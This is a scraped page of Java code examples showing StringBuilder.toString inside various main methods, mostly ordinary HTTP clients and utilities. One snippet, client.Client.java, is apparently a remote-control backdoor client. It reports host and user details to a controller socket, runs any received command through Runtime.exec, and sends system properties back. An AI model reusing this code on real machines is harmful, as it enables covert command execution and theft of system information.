Example usage for java.lang StringBuilder toString

List of usage examples for java.lang StringBuilder toString

Introduction

In this page you can find the example usage for java.lang StringBuilder toString.

Prototype

@Override
    @HotSpotIntrinsicCandidate
    public String toString() 

Source Link

Usage

From source file:esg.gateway.client.ESGAccessLogClient.java

public static void main(String[] args) {
    String serviceHost = null;/*from w  w w .j  a va2s  . c  o m*/
    long startTime = 0;
    long endTime = Long.MAX_VALUE;

    try {
        serviceHost = args[0];
        startTime = Long.parseLong(args[1]);
        endTime = Long.parseLong(args[2]);
    } catch (Throwable t) {
        log.error(t.getMessage());
    }

    try {
        ESGAccessLogClient client = new ESGAccessLogClient();
        if (client.setEndpoint(serviceHost).ping()) {
            List<String[]> results = null;
            results = client.fetchAccessLogData(startTime, endTime);

            System.out.println("---results:[" + (results.size() - 1) + "]---");
            for (String[] record : results) {
                StringBuilder sb = new StringBuilder();
                for (String column : record) {
                    sb.append("[" + column + "] ");
                }
                System.out.println(sb.toString());
            }
        }
        System.out.println("-----------------");
    } catch (Throwable t) {
        log.error(t);
        t.printStackTrace();
    }
}

From source file:org.kuali.kfs.rest.AccountingPeriodCloseJob.java

public static void main(String[] args) {
    try {//w  w  w  .j  a v a 2  s.  c  o  m
        DefaultHttpClient httpClient = new DefaultHttpClient();
        HttpPost request = new HttpPost("http://localhost:8080/kfs-dev/coa/accounting_periods/close");
        request.addHeader("accept", "application/json");
        request.addHeader("content-type", "application/json");
        request.addHeader("authorization", "NSA_this_is_for_you");

        StringBuilder sb = new StringBuilder();
        sb.append("{");
        sb.append("\"description\":\"Document: The Next Generation\",");
        sb.append("\"universityFiscalYear\": 2016,");
        sb.append("\"universityFiscalPeriodCode\": \"03\"");
        sb.append("}");
        StringEntity data = new StringEntity(sb.toString());
        request.setEntity(data);

        HttpResponse response = httpClient.execute(request);

        System.out.println("Status Code: " + response.getStatusLine().getStatusCode());
        if (response.getStatusLine().getStatusCode() != 200) {
            throw new RuntimeException(
                    "Failed : HTTP error code : " + response.getStatusLine().getStatusCode());
        }

        BufferedReader br = new BufferedReader(new InputStreamReader((response.getEntity().getContent())));

        String output;
        System.out.println("Output from Server .... \n");
        while ((output = br.readLine()) != null) {
            System.out.println(output);
        }

        httpClient.getConnectionManager().shutdown();
    } catch (ClientProtocolException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

From source file:com.wyp.module.controller.LicenseController.java

public static void main(String[] args) {
    StringBuilder sb = new StringBuilder();
    sb.append("1237275897295725");
    String str = sb.toString();
    System.out.println(str);// w ww. jav a  2 s  .c  o  m
}

From source file:com.simpligility.maven.provisioner.MavenRepositoryProvisioner.java

public static void main(String[] args) {

    JCommander jcommander = null;//  w  w  w  . jav a2  s.c  o  m
    Boolean validConfig = false;
    logger.info("-----------------------------------");
    logger.info(" Maven Repository Provisioner      ");
    logger.info(" simpligility technologies inc.    ");
    logger.info(" http://www.simpligility.com       ");
    logger.info("-----------------------------------");

    StringBuilder usage = new StringBuilder();
    config = new Configuration();
    try {
        jcommander = new JCommander(config);
        jcommander.usage(usage);
        jcommander.parse(args);
        validConfig = true;
    } catch (Exception error) {
        logger.info(usage.toString());
    }

    if (validConfig) {

        if (config.getHelp()) {
            logger.info(usage.toString());
        } else {
            logger.info("Provisioning: " + config.getArtifactCoordinate());
            logger.info("Source: " + config.getSourceUrl());
            logger.info("Target: " + config.getTargetUrl());
            logger.info("Username: " + config.getUsername());
            if (config.getPassword() != null) {
                logger.info("Password: " + config.getPassword().replaceAll(".", "***"));
            }
            logger.info("IncludeSources:" + config.getIncludeSources());
            logger.info("IncludeJavadoc:" + config.getIncludeJavadoc());
            logger.info("Local cache directory: " + config.getCacheDirectory());

            cacheDirectory = new File(config.getCacheDirectory());
            if (cacheDirectory.exists() && cacheDirectory.isDirectory()) {
                logger.info("Detected local cache directory '" + config.getCacheDirectory()
                        + "' from prior execution.");
                try {
                    FileUtils.deleteDirectory(cacheDirectory);
                    logger.info(config.getCacheDirectory() + " deleted.");
                } catch (IOException e) {
                    logger.info(config.getCacheDirectory() + " deletion failed");
                }
                cacheDirectory = new File(config.getCacheDirectory());
            }

            ArtifactRetriever retriever = new ArtifactRetriever(cacheDirectory);
            retriever.retrieve(config.getArtifactCoordinates(), config.getSourceUrl(),
                    config.getIncludeSources(), config.getIncludeJavadoc());

            logger.info("--------------------------------------------");
            logger.info("Artifact retrieval completed.");
            logger.info("--------------------------------------------");

            MavenRepositoryHelper helper = new MavenRepositoryHelper(cacheDirectory);
            helper.deployToRemote(config.getTargetUrl(), config.getUsername(), config.getPassword());
            logger.info("--------------------------------------------");
            logger.info("Artifact deployment completed.");
            logger.info("--------------------------------------------");
        }
    }
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*from   ww w. j a v  a2  s  . c om*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:edu.harvard.hul.ois.fits.clients.FormFileUploaderClientApplication.java

/**
 * Run the program./*www  .  ja va2 s .  c om*/
 *
 * @param args First argument is path to the file to analyze; second (optional) is path to server for overriding default value.
 */
public static void main(String[] args) {
    // takes file path from first program's argument
    if (args.length < 1) {
        logger.error("****** Path to input file must be first argument to program! *******");
        logger.error("===== Exiting Program =====");
        System.exit(1);
    }

    String filePath = args[0];
    File uploadFile = new File(filePath);
    if (!uploadFile.exists()) {
        logger.error("****** File does not exist at expected locations! *******");
        logger.error("===== Exiting Program =====");
        System.exit(1);
    }

    if (args.length > 1) {
        serverUrl = args[1];
    }

    logger.info("File to upload: " + filePath);

    CloseableHttpClient httpclient = HttpClients.createDefault();
    try {
        HttpPost httppost = new HttpPost(serverUrl + "false");
        FileBody bin = new FileBody(uploadFile);
        MultipartEntityBuilder builder = MultipartEntityBuilder.create();
        builder.addPart(FITS_FORM_FIELD_DATAFILE, bin);
        HttpEntity reqEntity = builder.build();
        httppost.setEntity(reqEntity);

        logger.info("executing request " + httppost.getRequestLine());
        CloseableHttpResponse response = httpclient.execute(httppost);
        try {
            logger.info("HTTP Response Status Line: " + response.getStatusLine());
            // Expecting a 200 Status Code
            if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
                String reason = response.getStatusLine().getReasonPhrase();
                logger.warn("Unexpected HTTP response status code:[" + response.getStatusLine().getStatusCode()
                        + "] -- Reason (if available): " + reason);
            } else {
                HttpEntity resEntity = response.getEntity();
                InputStream is = resEntity.getContent();
                BufferedReader in = new BufferedReader(new InputStreamReader(is));

                String output;
                StringBuilder sb = new StringBuilder();
                while ((output = in.readLine()) != null) {
                    sb.append(output);
                    sb.append(System.getProperty("line.separator"));
                }
                logger.info(sb.toString());
                in.close();
                EntityUtils.consume(resEntity);
            }
        } finally {
            response.close();
        }
    } catch (Exception e) {
        logger.error("Caught exception: " + e.getMessage(), e);
    } finally {
        try {
            httpclient.close();
        } catch (IOException e) {
            logger.warn("Exception closing HTTP client: " + e.getMessage(), e);
        }
        logger.info("DONE");
    }
}

From source file:Main.java

public static void main(String[] args) {
    final StringBuilder sb = new StringBuilder();
    sb.append("<html>");
    sb.append("<body><ol>");
    Font[] fonts = GraphicsEnvironment.getLocalGraphicsEnvironment().getAllFonts();
    for (Font font : fonts) {
        String name = font.getName();
        sb.append("<li style='font-family: " + name + "; font-size: 20px;'>");
        sb.append(name);/*from   ww w . java  2 s .c  o m*/
    }

    JScrollPane sp = new JScrollPane(new JLabel(sb.toString()));
    Dimension d = sp.getPreferredSize();
    sp.setPreferredSize(new Dimension(d.width, 150));
    JOptionPane.showMessageDialog(null, sp);
}

From source file:facade.examples.Collections.java

/**
 * Run the examples//w  w w.  ja v  a2 s .c om
 * @param args <i>ignored</i>
 */
public static void main(String[] args) {

    /* RESISTORS IN PARALLEL WITH FACADE */

    System.out.println("-> With facade: ");
    /* Empty collection of resistors */
    Collection<Double> resistors = new ArrayList<Double>();
    /* adding values. on() modifies the collection in place */
    on(resistors).add(1.5, 3.0, 15.0, 30.0, 150.0);
    /* computing resistance. with() works on a collection copy. */
    double r = 1.0 / with(resistors).map(inverse).reduce(sum);
    /* pretty printing the resistors */
    System.out.println("[ " + with(resistors).join(", ") + " ]");
    /* printing the equivalent resistor */
    System.out.println(r);

    /* --------------------------------------------------------------- */
    System.out.println();
    /* --------------------------------------------------------------- */

    /* RESISTORS IN PARALLEL WITH CLASSIC JAVA */

    System.out.println("-> Without facade: ");
    /* Empty collection of resistors */
    resistors = new ArrayList<Double>();
    /* adding values */
    resistors.add(1.5);
    resistors.add(3.0);
    resistors.add(15.0);
    resistors.add(30.0);
    resistors.add(150.0);
    /* computing resistance */
    double sum = 0.0;
    for (Double resistor : resistors) {
        sum += 1.0 / resistor;
    }
    r = 1.0 / sum;
    /* pretty printing the resistors */
    StringBuilder sb = new StringBuilder();
    sb.append("[ ");
    Iterator<Double> it = resistors.iterator();
    if (it.hasNext()) {
        sb.append(it.next());
    }
    while (it.hasNext()) {
        sb.append(", ").append(it.next());
    }
    sb.append(" ]");
    System.out.println(sb.toString());
    /* printing the equivalent resistor */
    System.out.println(r);

}

From source file:Naive.java

public static void main(String[] args) throws Exception {
    // Basic access authentication setup
    String key = "CHANGEME: YOUR_API_KEY";
    String secret = "CHANGEME: YOUR_API_SECRET";
    String version = "preview1"; // CHANGEME: the API version to use
    String practiceid = "000000"; // CHANGEME: the practice ID to use

    // Find the authentication path
    Map<String, String> auth_prefix = new HashMap<String, String>();
    auth_prefix.put("v1", "oauth");
    auth_prefix.put("preview1", "oauthpreview");
    auth_prefix.put("openpreview1", "oauthopenpreview");

    URL authurl = new URL("https://api.athenahealth.com/" + auth_prefix.get(version) + "/token");

    HttpURLConnection conn = (HttpURLConnection) authurl.openConnection();
    conn.setRequestMethod("POST");

    // Set the Authorization request header
    String auth = Base64.encodeBase64String((key + ':' + secret).getBytes());
    conn.setRequestProperty("Authorization", "Basic " + auth);

    // Since this is a POST, the parameters go in the body
    conn.setDoOutput(true);//  w  w  w  . j  ava 2 s  .  c  om
    String contents = "grant_type=client_credentials";
    DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
    wr.writeBytes(contents);
    wr.flush();
    wr.close();

    // Read the response
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    StringBuilder sb = new StringBuilder();
    String line;
    while ((line = rd.readLine()) != null) {
        sb.append(line);
    }
    rd.close();

    // Decode from JSON and save the token for later
    String response = sb.toString();
    JSONObject authorization = new JSONObject(response);
    String token = authorization.get("access_token").toString();

    // GET /departments
    HashMap<String, String> params = new HashMap<String, String>();
    params.put("limit", "1");

    // Set up the URL, method, and Authorization header
    URL url = new URL("https://api.athenahealth.com/" + version + "/" + practiceid + "/departments" + "?"
            + urlencode(params));
    conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    conn.setRequestProperty("Authorization", "Bearer " + token);

    rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    sb = new StringBuilder();
    while ((line = rd.readLine()) != null) {
        sb.append(line);
    }
    rd.close();

    response = sb.toString();
    JSONObject departments = new JSONObject(response);
    System.out.println(departments.toString());

    // POST /appointments/{appointmentid}/notes
    params = new HashMap<String, String>();
    params.put("notetext", "Hello from Java!");

    url = new URL("https://api.athenahealth.com/" + version + "/" + practiceid + "/appointments/1/notes");
    conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("POST");
    conn.setRequestProperty("Authorization", "Bearer " + token);

    // POST parameters go in the body
    conn.setDoOutput(true);
    contents = urlencode(params);
    wr = new DataOutputStream(conn.getOutputStream());
    wr.writeBytes(contents);
    wr.flush();
    wr.close();

    rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    sb = new StringBuilder();
    while ((line = rd.readLine()) != null) {
        sb.append(line);
    }
    rd.close();

    response = sb.toString();
    JSONObject note = new JSONObject(response);
    System.out.println(note.toString());
}

From source file:edu.harvard.hul.ois.drs.pdfaconvert.clients.FormFileUploaderClientApplication.java

/**
 * Run the program.//www.j  a v  a2s . c om
 * 
 * @param args First argument is path to the file to analyze; second (optional) is path to server for overriding default value.
 */
public static void main(String[] args) {
    // takes file path from first program's argument
    if (args.length < 1) {
        logger.error("****** Path to input file must be first argument to program! *******");
        logger.error("===== Exiting Program =====");
        System.exit(1);
    }

    String filePath = args[0];
    File uploadFile = new File(filePath);
    if (!uploadFile.exists()) {
        logger.error("****** File does not exist at expected locations! *******");
        logger.error("===== Exiting Program =====");
        System.exit(1);
    }

    if (args.length > 1) {
        serverUrl = args[1];
    }

    logger.info("File to upload: " + filePath);

    CloseableHttpClient httpclient = HttpClients.createDefault();
    try {
        HttpPost httppost = new HttpPost(serverUrl);
        FileBody bin = new FileBody(uploadFile);
        HttpEntity reqEntity = MultipartEntityBuilder.create().addPart(FORM_FIELD_DATAFILE, bin).build();
        httppost.setEntity(reqEntity);

        logger.info("executing request " + httppost.getRequestLine());
        CloseableHttpResponse response = httpclient.execute(httppost);
        try {
            logger.info("HTTP Response Status Line: " + response.getStatusLine());
            // Expecting a 200 Status Code
            if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
                String reason = response.getStatusLine().getReasonPhrase();
                logger.warn("Unexpected HTTP response status code:[" + response.getStatusLine().getStatusCode()
                        + "] -- Reason (if available): " + reason);
            } else {
                HttpEntity resEntity = response.getEntity();
                InputStream is = resEntity.getContent();
                BufferedReader in = new BufferedReader(new InputStreamReader(is));

                String output;
                StringBuilder sb = new StringBuilder("Response data received:");
                while ((output = in.readLine()) != null) {
                    sb.append(System.getProperty("line.separator"));
                    sb.append(output);
                }
                logger.info(sb.toString());
                in.close();
                EntityUtils.consume(resEntity);
            }
        } finally {
            response.close();
        }
    } catch (Exception e) {
        logger.error("Caught exception: " + e.getMessage(), e);
    } finally {
        try {
            httpclient.close();
        } catch (IOException e) {
            logger.warn("Exception closing HTTP client: " + e.getMessage(), e);
        }
        logger.info("DONE");
    }
}